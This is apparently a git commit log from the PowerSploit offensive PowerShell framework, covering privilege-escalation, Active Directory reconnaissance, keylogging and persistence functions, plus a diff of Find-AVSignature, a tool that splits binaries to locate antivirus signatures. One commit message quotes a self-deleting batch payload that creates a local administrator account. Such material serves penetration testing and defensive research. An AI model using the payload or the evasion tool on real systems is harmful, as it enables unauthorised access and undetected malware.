Jon Cave 9596f68274 PowerUp: Remove badly encoded new lines from .bat output
The current implementation results in a .bat like:

  @echo off\n
  start /b net user john Password123! /add && timeout /t 5 && net localgroup Administrators john /add\n
  start /b "" cmd /c del "%~f0"&exit /b

With literal "\n" strings at the end of the first two lines.

A new line in a PowerShell string should be "`n". However, an extra new
line isn't actually necessary in this case.
2016-06-30 10:12:27 +02:00
Jon Cave 9d2b9d7631 PowerUp: Allocate enough space for TOKEN_GROUPS
Make an initial call to GetTokenInformation() with a NULL buffer to get
the actual buffer size required. Prevents "The data area passed to a system
call is too small" error being thrown.
2016-06-30 09:00:31 +02:00
Jon Cave 325cc849d7 Use correct variable 2016-06-27 17:53:59 +02:00
Jon Cave 5a05a024b6 Fix Get-GroupsXML for multiple <Group> tags
Select all <Group> nodes and iterate through them, not just the root
<Groups> node.
2016-06-27 17:52:28 +02:00
Harmj0y 81ac124f22 Changed Get-NetGroup and Get-NetGroupMember to search for samaccountname instead of name 2016-06-24 16:51:16 -04:00
Harmj0y 3049211f53 Fixed Find-LocalAdminAccess to properly check for the object output from Invoke-CheckLocalAdminAccess...whoops 2016-06-24 16:11:20 -04:00
Harmj0y cd1e10b8fd Turned Get-GptTmpl and Get-GroupsXML into filters 2016-06-24 16:07:26 -04:00
HarmJ0y ac42eb8a69 Merge pull request #157 from Meatballs1/localgrouprecursion
Fix Get-NetLocalGroup Recursion for LocalGroups
2016-06-24 12:59:41 -07:00
Harmj0y 8dea905998 Fixed bug in Get-ModifiablePath that resulted in spaces being expanded to the current directory location
Fixed other logic bugs in Get-ModifiablePath
Fixed bug in Add-ServiceDacl when the [ServiceProcess.ServiceController] wasn't loaded yet by Get-Service
Error handling for Get-CachedGPPPassword
Changed some Write-Warnings to Write-Verbose
Updated Privesc Pester tests for PowerUp
2016-06-23 17:51:17 -04:00
Meatballs 3585c9b4ac Add missing parenthesis 2016-06-21 20:31:28 +01:00
Meatballs 7dfbb059e1 Check class type
Recurse if localgroup as well as domaingroup
Normalize output values to empty string
2016-06-21 20:29:40 +01:00
Harmj0y 4b40e8609c Fixed logic bugs in Find-GPOLocation and Find-GPOComputerAdmin 2016-06-14 18:23:52 -04:00
Harmj0y 31c2290d5e Fixed some Invoke-MapDomainTrust and Get-NetDomainTrust logic
Changed domain/forest Write-Warning's to Write-Verbose
2016-06-12 20:53:36 -04:00
Harmj0y 9cd0955c5d Cleaned up Get-NetGroup's logic a bit, removed filtering for primary group ID (i.e. domain users)
Modified Get-DomainSID to simplify
Changed group determination in Get-NetLocalGroup -API
Few optimizations to Find-ForeignUser and Find-ForeignGroup
Changed DNS resolution method for Invoke-UserHunter
Added 'PowerView.GPOLocalGroup' type to Find-GPOLocation
2016-06-12 19:37:17 -04:00
HarmJ0y 0f2bd1d7f3 Merge pull request #150 from breenmachine/dev
Fixed thread countdown timer in Invoke-ThreadedFunction, wasn't ever …
2016-06-12 16:17:17 -04:00
Stephen Breen 8270743fb1 Fixed thread countdown timer in Invoke-ThreadedFunction, wasn't ever killing rogue jobs 2016-06-11 00:26:40 -04:00
Harmj0y c53cd87d8f Fixed LDAP preference for when -ADSPath is passed to Get-NetDomainTrust
Fixed Get-DomainSID to allow for a -DomainController parameter
Fixed Get-NetDomainTrust logic
2016-06-08 01:35:33 -04:00
Harmj0y b5172c2bef Fixed a few GC bugs in Get-DomainSearcher
Added attempted gpcfilesyspath resolution to Get-NetGPO
Added -ADSPath for Get-NetDomainTrust
2016-06-08 00:44:24 -04:00
Harmj0y d37ec66c79 bug fixes/error handling in Get-NetGPOGroup for version 2 2016-06-07 15:36:39 -04:00
Harmj0y 5d7fe6b100 Corrected -Path parameter in Write-ServiceBinary 2016-06-07 13:00:14 -04:00
Harmj0y b6306a0d8c Small bug fix in Find-GPOLocation when enumerating all relationships
Moved GPOType check to Get-NetGPOGroup
Expanded comments and help for GPO location cmdlets
2016-06-06 21:37:36 -04:00
Harmj0y da86d76adb updated Privesc.psd1 and README.md 2016-06-06 15:43:01 -04:00
Harmj0y 5f8d8b0a10 Addded Get-CachedGPPPassword to PowerUp, based almost entirely on Get-GPPPassword.
Added Pester tests for Get-CachedGPPPassword.
2016-06-06 15:37:52 -04:00
Harmj0y f6ee5cb92e Rewrote/corrected logic for Get-NetGPOGroup, Find-GPOLocation, and Find-GPOComputerAdmin
Rewrote/corrected logic for Find-GPOLocation
Added Get-IniContent and rewrote Get-GptTmpl to use Get-IniContent to parse GptTmpl.inf files
Rewrote Get-GroupsXML to not resolve SIDs and return the same object type as Get-GptTmpl
2016-06-06 06:21:02 -04:00
HarmJ0y 5cbe3bac10 Merge pull request #148 from PowerShellMafia/powerup_psreflect
PowerUp PSReflect
2016-06-04 19:09:22 -07:00
Harmj0y e83cfae798 Get-ModifiablePath now also checks parent folders of files for modification
Bug fixes
Corrected PowerUp Pester tests
Changed 'Path' field to 'ModifiablePath' in 'Get-ModifiablePath'
Get-ServiceUnquoted now filters paths through Get-ModifiablePath
2016-06-04 22:06:21 -04:00
Harmj0y 4915945292 Renamed Get-RegistryAutoRun to Get-ModifiableRegistryAutoRun
Renamed Find-PathHijack to Find-PathDLLHijack
Fixed exposed functions in PowerSploit.psd1
2016-06-04 19:07:28 -04:00
Harmj0y 1b359e7875 Overhauled and completed PowerUp/Privesc Pester tests 2016-06-04 17:47:10 -04:00
Harmj0y 83d1413acd -Enum specification bug fix
-Additional error checking and documentation
-OpenProcessToken() call now uses TOKEN_QUERY instead of TOKEN_READ
2016-06-04 17:46:43 -04:00
Harmj0y 1f926e7fd6 Added SidAttributes enum, Get-CurrentUserTokenGroupSid now returns an object with SID and attributes fields 2016-06-03 23:37:52 -04:00
Harmj0y 09d253f070 Added Get-CurrentUserTokenGroupSid to enumerate all group SIDs the current user is a part of, regardless of being disabled.
Replaced 'whoami /groups' local admin + medium integrity check with comparison against Get-CurrentUserTokenGroupSid
2016-06-03 22:43:12 -04:00
Harmj0y 9711069b7e -Added ValueFromPipelineByPropertyName to Get-ModifiablePath to parse passed file objects
-Service functions now accept just -Name (instead of -Service/-ServiceName) that accepts has ValueFromPipelineByPropertyName set in order to handle service objects on the pipeline
-Moved PSReflect signatures to the bottom of the script
-Function and help cleanup
2016-06-03 19:03:11 -04:00
Harmj0y 8083c1e1bb Updated Privesc README.md and .psd1 to reflect the new PowerUp function names. 2016-06-02 02:14:38 -04:00
Harmj0y 3c209ee6b3 -Get-ModifiableFile renamed to Get-ModifiablePath
-Get-VulnSchTask renamed to Get-ModifiableScheduledTaskFile
-Get-VulnAutoRun renamed Get-RegistryAutoRun
-Get-RegAutoLogon renamed Get-RegistryAutoLogon
-Find-DLLHijack renamed to Find-ProcessDLLHijack for clarification, code cleaned up, -Process parameter added, output object detail expanded, and help expanded
-Removed most of the code from Find-PathHijack, replacing it with Get-ModifiablePath
-Cleaned up logic for Write-HijackDll
-Expanded help for the registry enumeration cmdlets
-Added local user creation options to Write-HijackDll to match Write-ServiceBinary
-Increased pause between user creation commands
2016-06-02 02:01:16 -04:00
Harmj0y a1ba3876b1 -Help expanded for Invoke-ServiceAbuse
-Fixed parameter sets for Write-ServiceBinary and added -Credential and -Service params
-Simplified/corrected logic for Install-ServiceBinary
-Fixed parameter sets and simplified logic for Restore-ServiceBinary
-Added sanity check with Get-ModifiableFile for Install-ServiceBinary
-Cleaned up lingering spaces
2016-06-02 00:00:35 -04:00
Harmj0y ecc96be81a -Removed Invoke-ServiceStart, Invoke-ServiceStop, Invoke-ServiceEnable, Invoke-ServiceDisable
-Renamed Get-ServiceFilePermission to Get-ModifiableServiceFile
-Renamed Get-ServicePermission Get-ModifiableService
-Integrated PSReflect codebase from @mattifestation
-Modified Get-ModifiableFile to enumerate the ACLs for passed file paths, returning the path/permission set/identityreference for each modifable file (instead of opening file for modification)
-Added Add-ServiceDacl from @mattifestation to add service Dacls to Get-Service objects
-Added Set-ServiceBinPath replace "sc.exe config SERVICE binPath= X" - now modifies using the ChangeServiceConfig Win32 API call
-Revamped Test-ServiceDaclPermission to take advantage of Add-ServiceDacl. Service permissions are now matched up against the current user's group memberships and specified permission sets to check for.
-Functions that checked for service restarting now use Test-ServiceDaclPermission
-Get-ModifiableService now uses Test-ServiceDaclPermission
-Invoke-ServiceAbuse completely rebuilt to use native PowerShell functions and Set-ServiceBinPath to reconfiguring service binary paths for abuse
-Parameter sets rewritten for several functions to accept -Credential objects were applicable and -Service objects from Get-Service on the pipeline

TODO: Tune up Write-ServiceBinary, Install-ServiceBinary, Restore-ServiceBinary, Find-DLLHijack, Find-PathHijack, Write-HijackDll, and all the registry checks
2016-06-01 19:03:18 -04:00
Harmj0y 5660218b38 Bug fix for Get-System for when a needed assembly isn't loaded. 2016-05-31 23:28:19 -04:00
Harmj0y 5b94a98dbd Merge branch 'dev' of https://github.com/PowerShellMafia/PowerSploit into dev 2016-05-31 23:19:18 -04:00
Harmj0y 848f7d31ce Corrected error checking for functions that used GetLastError
General errors are now parsed with [ComponentModel.Win32Exception] and written with Write-Verbose
Write-Debug calls converted to Write-Verbose or removed
2016-05-31 23:14:05 -04:00
Matt Graeber 235dec56ae Merge remote-tracking branch 'refs/remotes/origin/master' into dev 2016-05-29 08:00:08 -07:00
Matt Graeber 262a260865 Merge pull request #132 from pyllyukko/sch_hourly
Add hourly scheduled task persistence option
2016-05-29 07:57:30 -07:00
Matt Graeber 6b0ada999a Fixed FreeLibrary function signature #146
The parameter type and return types were accidentally transposed. Thanks
@rojaster for pointing this out.
2016-05-29 07:54:50 -07:00
Harmj0y 83305c5243 Combined Get-SiteListPassword.ps1 into PowerUp.ps1 2016-05-23 18:51:44 -04:00
Harmj0y c30c682797 Bug fix for issue #137 2016-05-23 18:36:46 -04:00
Harmj0y d0b21c0848 Updated functions in Recon.psd1 2016-05-22 14:41:05 -04:00
Harmj0y df2f92899a -Fixed bug in Get-NetGroupMember's ranged searching logic on PowerShell v3+
-Corrected parameter/variable scoping bug in several functions
-TODO: fix begin{} scoping issues in Find-InterestingFile, Invoke-UserHunter, Invoke-ProcessHunter, Invoke-EventHunter, Invoke-ShareFinder, Invoke-FileFinder, Find-LocalAdminAccess, Invoke-EnumerateLocalAdmin
-Other misc. fixes
2016-05-22 14:40:40 -04:00
Harmj0y b568271d57 Get-LoggedOnLocal now handles the situation when multiple SIDs are returned
Get-LoggedOnLocal turned into a filter and given additional error handling
Standardized tab/line spacing
Removed Invoke-PSLoggedOn
2016-05-22 14:07:37 -04:00
HarmJ0y 2e6c9392c9 Merge pull request #133 from breakersall/dev
Adds PSLoggedOn like functionality
2016-05-22 14:02:49 -04:00
HarmJ0y 666246362f Merge pull request #140 from Meatballs1/fix_groups_xml
PowerView - Fix Groups.xml Parsing
2016-05-18 11:10:18 -04:00
Harmj0y c89f0b9969 Logic bug fix in Get-NetDomainTrust 2016-05-13 01:11:47 -04:00
Harmj0y 7d3f0066ec Merge branch 'dev' of https://github.com/PowerShellMafia/PowerSploit into dev 2016-05-13 01:08:03 -04:00
Harmj0y 56824c1799 Get-NetDomainTrust now gets an -API option to enumerate trusts through DsEnumerateDomainTrusts()
Logic bug fix for Get-DNSZone
Bug fix for Get-NetLocalGroup
2016-05-13 01:07:24 -04:00
Meatballs 3e936765f5 Fix groupsxml parsing 2016-05-12 21:03:20 +01:00
Matt Graeber eec3704f40 Merge pull request #139 from sixdub/dev
Added Get-MicrophoneAudio.ps1 and associated Pester tests
2016-05-12 08:08:54 -07:00
sixdub debe4a565e Added Get-MicrophoneAudio.ps1 and associated Pester tests 2016-05-12 10:58:27 -04:00
HarmJ0y 30324b7c5e Merge pull request #135 from Meatballs1/trust_sids
Retrieve Domain SIDs with -LDAP
2016-05-09 21:24:57 -07:00
Harmj0y 7b4becfe72 Added Invoke-UserHunter field to keep output objects in sync. 2016-05-10 00:14:37 -04:00
HarmJ0y 31ed96d161 Merge pull request #136 from andyrobbins/dev
Added name resolution to custom PSObject generated by Invoke-UserHunter.
2016-05-09 21:12:42 -07:00
Andy Robbins 9f7906280d Added name resolution to custom PSObject generated by Invoke-UserHunter. 2016-05-10 00:01:38 -04:00
Harmj0y 6ada127538 Began adding custom PSObject TypeNames to various PowerView output objects. 2016-05-09 23:22:51 -04:00
Meatballs 6a39c26b06 Retrieve Domain SIDs with -LDAP 2016-05-09 22:24:23 +01:00
Matt Kelly 0cedaf6142 Adds PSLoggedOn like functionality
Adding in Get-LoggedOnLocal which uses HKU registry checks to see who
is logged locally to a remote box and only requires user level access
rights. The benefit over NetWkstaUserEnum is less user privileges
required (admin for NetWkstaUserEnum) and is the same process
PSLoggedOn uses.

Invoke-PSLoggedOn launches both Get-LoggedOnLocal and Get-NetSessions
and outputs the same format as PSLoggedOn.exe from Sysinternals.

I did not change Invoke-UserHunter non-stealth to this option yet, but
it is beneficial in that if you use both HKU and NetSessionEnum you
only require basic user level rights not admin remote.
2016-05-05 19:12:33 -05:00
Harmj0y 26cef85d35 Added Get-RegistryMountedDrive 2016-05-03 22:52:36 -04:00
Harmj0y fbf6f30833 Modified Convert-DNSRecord to return the base64 encoded record for record types not currently handled. 2016-04-27 19:11:49 -04:00
Harmj0y 1f90c29429 Added Get-DNSZone and Get-DNSRecord to enumerate AD DNS information.
Added Convert-DNSRecord (ported from Michael B. Smith's code at https://raw.githubusercontent.com/mmessano/PowerShell/master/dns-dump.ps1) - needs expansion work on record types
2016-04-27 18:42:51 -04:00
Harmj0y 68c446b9b9 Changed some property types in Get-ObjectACL 2016-04-25 19:52:39 -04:00
pyllyukko 75a37a0f17 Added ScheduledTaskHourly to New-UserPersistenceOption 2016-04-25 17:44:24 +03:00
Harmj0y 4cedfa1c30 added Request-SPNTicket to request kerberos tickets for specified SPNs 2016-04-24 10:56:07 -04:00
Harmj0y c52f9d712c For PowerView, added $Searcher.CacheResults = $False to Get-DomainSearcher
Added dispose() approach for the following cmdlets:
Get-NetUser, Get-ObjectAcl/Add-ObjectAcl, Get-GUIDMap, Get-NetComputer, Get-ADObject, Get-NetOU, Get-NetSite, Get-NetSubnet, Get-NetGroup, Get-NetGroupMember, Get-DFSshare, Get-NetGPO, Get-NetDomainTrust
2016-04-24 06:57:36 -04:00
HarmJ0y 7ed5343431 Merge pull request #128 from Meatballs1/fix_groups_xml
//Group -> //Groups
2016-04-24 12:17:48 +02:00
pyllyukko a6564f4483 Added ScheduledTaskHourly to New-ElevatedPersistenceOption 2016-04-16 17:03:17 +03:00
HarmJ0y 69a2cd1e33 Merge pull request #125 from leechristensen/patch-1
Change ComputerName default to the computer's name
2016-04-11 11:49:47 -07:00
leechristensen c8ff194089 Change ComputerName default to the computer's name
Change ComputerName default so Disabled doesn't report error
2016-04-11 11:02:31 +01:00
HarmJ0y 785f4757bd Merge pull request #122 from joncave/patch-1
Find-PathHijack: Expand environment variables in path
2016-04-08 12:59:01 -07:00
Meatballs 6daaef2706 //Group -> //Groups 2016-04-03 08:09:33 +01:00
Jon Cave 84b8e1da9a Find-PathHijack: Expand environment variables in path
Paths containing environment variables can cause false-positives to occur, e.g. `%SystemRoot%\system32\WindowsPowerShell\v1.0\`. `Find-PathHijack` will believe this is a relative path and will report it as hijackable if the current directory is writeable.
2016-03-20 21:28:22 +00:00
Harmj0y 37389e9658 Bug fix in Find-GPOLocation 2016-03-18 06:13:05 -04:00
Harmj0y 26a0757612 Added Get-SiteName to find the site a computer is a part of
Added -ComputerName parameter to Get-NetGPO to enumerate all GPOs a given computer has applied
Fixed bug in Find-GPOComputerAdmin and added site enumeration for GPO links
2016-03-15 15:13:32 -04:00
Harmj0y 13adf516d5 Moved admin check for Get-System to allow for RevToSelf 2016-03-15 15:13:02 -04:00
Harmj0y 6a17f759ab Added Get-System to Privesc/
Added Pester tests for Get-System
2016-03-11 17:45:46 -05:00
Harmj0y dee094a993 Additional error checking in Get-DFSshare 2016-03-11 16:37:14 -05:00
HarmJ0y dedd805eaa Merge pull request #118 from Meatballs1/dfs_v1_pkt
Parse DFSv1 PKT
2016-03-11 13:35:14 -08:00
Matt Graeber be2a8ecf15 Get-TimedScreenshot enhancement. Issue #114
Get-TimedScreenshot now captures the entire screen. The screen
resolution is obtained via WMI. If for some reason that fails, it will
fall back to the old, less ideal method.
2016-03-10 18:00:43 -08:00
Matt Graeber f305e31cf5 Bugfix: Invoke-TokenManipulation. Issue #112
Fixed the PSv4 dependency for obtaining process ownership information.
Thanks to @mmashwani for suggesting the WMI solution.
2016-03-10 16:48:37 -08:00
Harmj0y 2e1d49db33 Fixed bug with Get-NetGroupMember and computer accounts.
samaccounttype enumeration now more accurate.
2016-03-09 20:02:18 -05:00
Harmj0y 625705781e fix for Find-GPOComputerAdmin 2016-03-09 16:23:27 -05:00
Harmj0y 2e0197603c Bug fix for Invoke-EnumerateLocalAdmin 2016-03-09 15:37:38 -05:00
Harmj0y 236b16430c Removed Set-MacAttribute and Copy-ClonedFile
Combined Convert-NT4toCanonical and Convert-DomainSimpletoNT4 into Convert-ADName
2016-03-09 15:08:27 -05:00
Harmj0y e029509889 Added New-GPOImmediateTask 2016-03-07 19:17:25 -05:00
Harmj0y a87453eeca DomainOnly tweak 2016-03-07 02:53:30 -05:00
Harmj0y c883dabf77 Added -DomainOnly flag to Invoke-EnumerateLocalAdmin 2016-03-07 02:50:24 -05:00
Harmj0y 1c664758ce renamed output field for Get-NetLocalGroup API 2016-03-07 02:20:26 -05:00
Harmj0y b4891eb371 Added NetLocalGroupGetMembers enumeration method for Get-NetLocalGroup with the -API flag
Fixed threading specification in most threaded functions.
2016-03-07 02:00:00 -05:00
Meatballs 661b11ed3c Parse DFSv1 PKT 2016-03-07 05:32:36 +00:00
Harmj0y 26ca1a922e Added additional fields to Get-NetLocalGroup results. 2016-03-06 21:47:06 -05:00
Harmj0y 46e12414e8 Modified output of Find-GPOLocation to return more object information. 2016-02-28 23:05:28 -05:00
Harmj0y 4aea2f12f9 -fixed several bugs in Find-GPOLocation (-GroupName now works properly and Sites returned)
-Find-GPOLocation with no arguments now returns all mappings
-fixed parsing issue in Get-NetGPOGroup- names now properly extracted from restricted group templates
2016-02-28 22:30:22 -05:00
Harmj0y 6de1d78af8 Added Pester tests for Get-SiteListPassword
Encrypted password check for Get-SiteListPassword fields
2016-02-12 17:25:13 -05:00
Harmj0y eae5eef91f Added additional search paths, code cleanup. 2016-02-12 16:26:35 -05:00
Harmj0y 2e6b301170 Added Get-SiteListPassword to decrypt McAfee SiteList.xml file passwords. 2016-02-11 21:42:20 -05:00
Harmj0y aea2eacd2d Most ldap-based search functions now accept a -Credential argument for querying from non-domain joined machines without a runas
Changed several functions to filters, where appropriate.
Get-NetShare, Get-NetSession, Get-NetLoggedOn, Get-NetRDPSession, Invoke-CheckLocalAdminAccess, Get-LastLoggedOn, Get-CachedRDPConnection, Get-NetProcess are now filters, better handle pipeline input, and now return an augmented result object with the queried ComputerName as a field
Replaced RemoteUserName/RemotePassword with -Credential parameter in Get-CachedRDPConnection and Get-NetProcess
modified output object for Get-NetShare to be a proper object
Various bug fixes and better parameter validation
2016-02-11 13:46:45 -05:00
HarmJ0y 1832e324e9 Merge pull request #111 from sagishahar/dev
Fix 'Install-ServiceBinary' for non-'Modifiable' files
2016-01-25 15:19:58 -08:00
HarmJ0y 43c4c69b38 Merge pull request #108 from sagishahar/master
Add 'CanRestart' to output and Pester tests
2016-01-25 15:19:20 -08:00
sagishahar 3f1dd34500 Fix 'Install-ServiceBinary' for non-'Modifiable' files
The 'Install-ServiceBinary' function fails on an edge case where the
service's file permission does not include the 'Modify' permission but
does include the 'Write' permission
(https://technet.microsoft.com/en-au/library/dd349321(v=ws.10).aspx). In
this scenario, renaming the original service file for backup purposes
will result in 'Access Denied' message. Fixing this requires that the
file be copied to service.exe.bak instead of renamed to service.exe.bak.
2016-01-17 23:04:27 +08:00
Matt Graeber cde9447c5f Merge pull request #107 from secabstraction/dev
new Get-Keystrokes
2016-01-14 12:37:52 -08:00
Jesse Davis 9cc65e4a85 Fixed Pester/PassThru 2016-01-13 22:32:44 -06:00
Jesse Davis 75548931ba Fixed Pester/PassThru 2016-01-13 22:30:38 -06:00
Jesse Davis 4ffd3084e4 Fixed Pester/PassThru 2016-01-13 22:20:05 -06:00
Jesse Davis 414daa60b8 Fixed Pester/PassThru 2016-01-13 22:19:06 -06:00
Jesse Davis 759bd481ae Fixed Pester/PassThru 2016-01-13 21:02:50 -06:00
Matt Graeber e83e97d672 Merge pull request #110 from PowerShellMafia/master
Merging Invoke-TokenManipulation fix into dev
2016-01-13 11:09:42 -08:00
Matt Graeber 2a813faedb Merge pull request #109 from mmashwani/master
Don't search for SYSTEM token by using hard coded English name
2016-01-13 11:05:46 -08:00
mmashwani 96ad796da8 Don't search for SYSTEM token by using hard coded English name for SYSTEM account. Translate SYSTEM SID to NTAccount to maintain compatibility across languages. 2016-01-13 04:52:42 -05:00
sagishahar 5f13c7b4de Add 'CanRestart' to output and Pester tests
Pester tests to the function 'Test-ServiceDaclPermission' were added in
order to increase confidence in its reliability. In general, my
intention was to replace the current functionality of the service
management functions such as Invoke-ServiceStart, to not use blindly
'sc.exe start' but rather consult with the DACL permissions and base the
decision on that. Unforunately, further investigation lead me to the
conclusion that retrieval of the service's DACL permissions requires
that an additional DACL permission (RC) be set. This may lead to an edge
case that could miss a potential privilege escalation condition and
thereby the original idea was discarded. Nonetheless,
'Test-ServiceDaclPermission' can be used for less critical tasks.
Therefore, a 'CanRestart' property was added to the output of the
service enumeration functions such as 'Get-ServiceUnquoted' as I think
that it will add value to redteamers/pentesters by helping them
prioritise which service should be abused for escalation of privileges.
Services that can be restarted by a low privileged user will probably be
prioritised first. Additionally, manual checking whether the vulnerable
service can be restarted would not be required in most cases.
2016-01-13 01:36:23 +08:00
Jesse Davis d133db696a Update Get-Keystrokes.ps1 2016-01-11 09:09:48 -06:00
Jesse Davis ef887af9d6 Update Exfiltration.tests.ps1 2016-01-09 17:55:47 -06:00
Jesse Davis f66e219bd6 new Get-Keystrokes 2016-01-09 17:50:58 -06:00
Matt Graeber 872d4b0eb7 Merge pull request #105 from stufus/find_ad_managed_security_groups
Find AD Managed Security Groups
2015-12-29 09:22:07 -05:00
Stuart Morgan bc7efdf229 Added Find-ManagedSecurityGroups to readme 2015-12-29 14:08:28 +00:00
Stuart Morgan ed60b51f0a Sorted exports into alphabetical order 2015-12-29 14:06:06 +00:00
Stuart Morgan f645f61607 Sorted the recon.psd1 module import into alphabetical order 2015-12-29 14:04:03 +00:00
Stuart Morgan 2343f43e7c Added reference to function to powersploit.psd1 and recon.psd1 2015-12-29 13:37:40 +00:00
Stuart Morgan 841150e1c6 Added Find-ManagedSecurityGroups 2015-12-28 17:54:47 +00:00
171 changed files with 51209 additions and 13562 deletions
+87 -87
View File
@@ -5,11 +5,11 @@ function Find-AVSignature
Locate tiny AV signatures.
PowerSploit Function: Find-AVSignature
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
PowerSploit Function: Find-AVSignature
Authors: Chris Campbell (@obscuresec) & Matt Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: None
Optional Dependencies: None
.DESCRIPTION
@@ -37,19 +37,19 @@ Optionally specifies the directory to write the binaries to.
.PARAMETER BufferLen
Specifies the length of the file read buffer . Defaults to 64KB.
Specifies the length of the file read buffer . Defaults to 64KB.
.PARAMETER Force
Forces the script to continue without confirmation.
Forces the script to continue without confirmation.
.EXAMPLE
PS C:\> Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
PS C:\> Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose
PS C:\> Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose
PS C:\> Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose
PS C:\> Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose
Find-AVSignature -Startbyte 0 -Endbyte max -Interval 10000 -Path c:\test\exempt\nc.exe
Find-AVSignature -StartByte 10000 -EndByte 20000 -Interval 1000 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run2 -Verbose
Find-AVSignature -StartByte 16000 -EndByte 17000 -Interval 100 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run3 -Verbose
Find-AVSignature -StartByte 16800 -EndByte 16900 -Interval 10 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run4 -Verbose
Find-AVSignature -StartByte 16890 -EndByte 16900 -Interval 1 -Path C:\test\exempt\nc.exe -OutPath c:\test\output\run5 -Verbose
.NOTES
@@ -63,10 +63,12 @@ http://www.exploit-monday.com/
http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
#>
[CmdletBinding()] Param(
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[CmdletBinding()]
Param(
[Parameter(Mandatory = $True)]
[ValidateRange(0,4294967295)]
[UInt32]
[UInt32]
$StartByte,
[Parameter(Mandatory = $True)]
@@ -75,23 +77,21 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
[Parameter(Mandatory = $True)]
[ValidateRange(0,4294967295)]
[UInt32]
[UInt32]
$Interval,
[String]
[ValidateScript({Test-Path $_ })]
[ValidateScript({Test-Path $_ })]
$Path = ($pwd.path),
[String]
$OutPath = ($pwd),
[ValidateRange(1,2097152)]
[UInt32]
$BufferLen = 65536,
[ValidateRange(1,2097152)]
[UInt32]
$BufferLen = 65536,
[Switch] $Force
)
#test variables
@@ -99,88 +99,88 @@ http://heapoverflow.com/f0rums/project.php?issueid=34&filter=changes&page=2
$Response = $True
if (!(Test-Path $OutPath)) {
if ($Force -or ($Response = $psCmdlet.ShouldContinue("The `"$OutPath`" does not exist! Do you want to create the directory?",""))){new-item ($OutPath)-type directory}
}
}
if (!$Response) {Throw "Output path not found"}
if (!(Get-ChildItem $Path).Exists) {Throw "File not found"}
[Int32] $FileSize = (Get-ChildItem $Path).Length
if ($StartByte -gt ($FileSize - 1) -or $StartByte -lt 0) {Throw "StartByte range must be between 0 and $Filesize"}
[Int32] $MaximumByte = (($FileSize) - 1)
if ($EndByte -ceq "max") {$EndByte = $MaximumByte}
#Recast $Endbyte into an Integer so that it can be compared properly.
[Int32]$EndByte = $EndByte
#If $Endbyte is greater than the file Length, use $MaximumByte.
if ($EndByte -gt $FileSize) {$EndByte = $MaximumByte}
#If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte.
if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval}
Write-Verbose "StartByte: $StartByte"
Write-Verbose "EndByte: $EndByte"
#Recast $Endbyte into an Integer so that it can be compared properly.
[Int32]$EndByte = $EndByte
#If $Endbyte is greater than the file Length, use $MaximumByte.
if ($EndByte -gt $FileSize) {$EndByte = $MaximumByte}
#If $Endbyte is less than the $StartByte, use 1 Interval past $StartByte.
if ($EndByte -lt $StartByte) {$EndByte = $StartByte + $Interval}
Write-Verbose "StartByte: $StartByte"
Write-Verbose "EndByte: $EndByte"
#find the filename for the output name
[String] $FileName = (Split-Path $Path -leaf).Split('.')[0]
#Calculate the number of binaries
[Int32] $ResultNumber = [Math]::Floor(($EndByte - $StartByte) / $Interval)
if (((($EndByte - $StartByte) % $Interval)) -gt 0) {$ResultNumber = ($ResultNumber + 1)}
#Prompt user to verify parameters to avoid writing binaries to the wrong directory
$Response = $True
if ( $Force -or ( $Response = $psCmdlet.ShouldContinue("This script will result in $ResultNumber binaries being written to `"$OutPath`"!",
"Do you want to continue?"))){}
if (!$Response) {Return}
Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"."
Write-Verbose "This script will now write $ResultNumber binaries to `"$OutPath`"."
[Int32] $Number = [Math]::Floor($Endbyte/$Interval)
#Create a Read Buffer and Stream.
#Note: The Filestream class takes advantage of internal .NET Buffering. We set the default internal buffer to 64KB per http://research.microsoft.com/pubs/64538/tr-2004-136.doc.
[Byte[]] $ReadBuffer=New-Object byte[] $BufferLen
[System.IO.FileStream] $ReadStream = New-Object System.IO.FileStream($Path, [System.IO.FileMode]::Open, [System.IO.FileAccess]::Read, [System.IO.FileShare]::Read, $BufferLen)
#write out the calculated number of binaries
[Int32] $i = 0
for ($i -eq 0; $i -lt $ResultNumber + 1 ; $i++)
{
# If this is the Final Binary, use $EndBytes, Otherwise calculate based on the Interval
if ($i -eq $ResultNumber) {[Int32]$SplitByte = $EndByte}
else {[Int32] $SplitByte = (($StartByte) + (($Interval) * ($i)))}
Write-Verbose "Byte 0 -> $($SplitByte)"
#Reset ReadStream to beginning of file
$ReadStream.Seek(0, [System.IO.SeekOrigin]::Begin) | Out-Null
#Build a new FileStream for Writing
[String] $outfile = Join-Path $OutPath "$($FileName)_$($SplitByte).bin"
[System.IO.FileStream] $WriteStream = New-Object System.IO.FileStream($outfile, [System.IO.FileMode]::Create, [System.IO.FileAccess]::Write, [System.IO.FileShare]::None, $BufferLen)
[Int32] $BytesLeft = $SplitByte
Write-Verbose "$($WriteStream.name)"
#Write Buffer Length to the Writing Stream until the bytes left is smaller than the buffer
while ($BytesLeft -gt $BufferLen){
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BufferLen)
$WriteStream.Write($ReadBuffer, 0, $count)
$BytesLeft = $BytesLeft - $count
}
#Write the remaining bytes to the file
do {
[Int32]$count = $ReadStream.Read($ReadBuffer, 0, $BytesLeft)
$WriteStream.Write($ReadBuffer, 0, $count)
$BytesLeft = $BytesLeft - $count
}
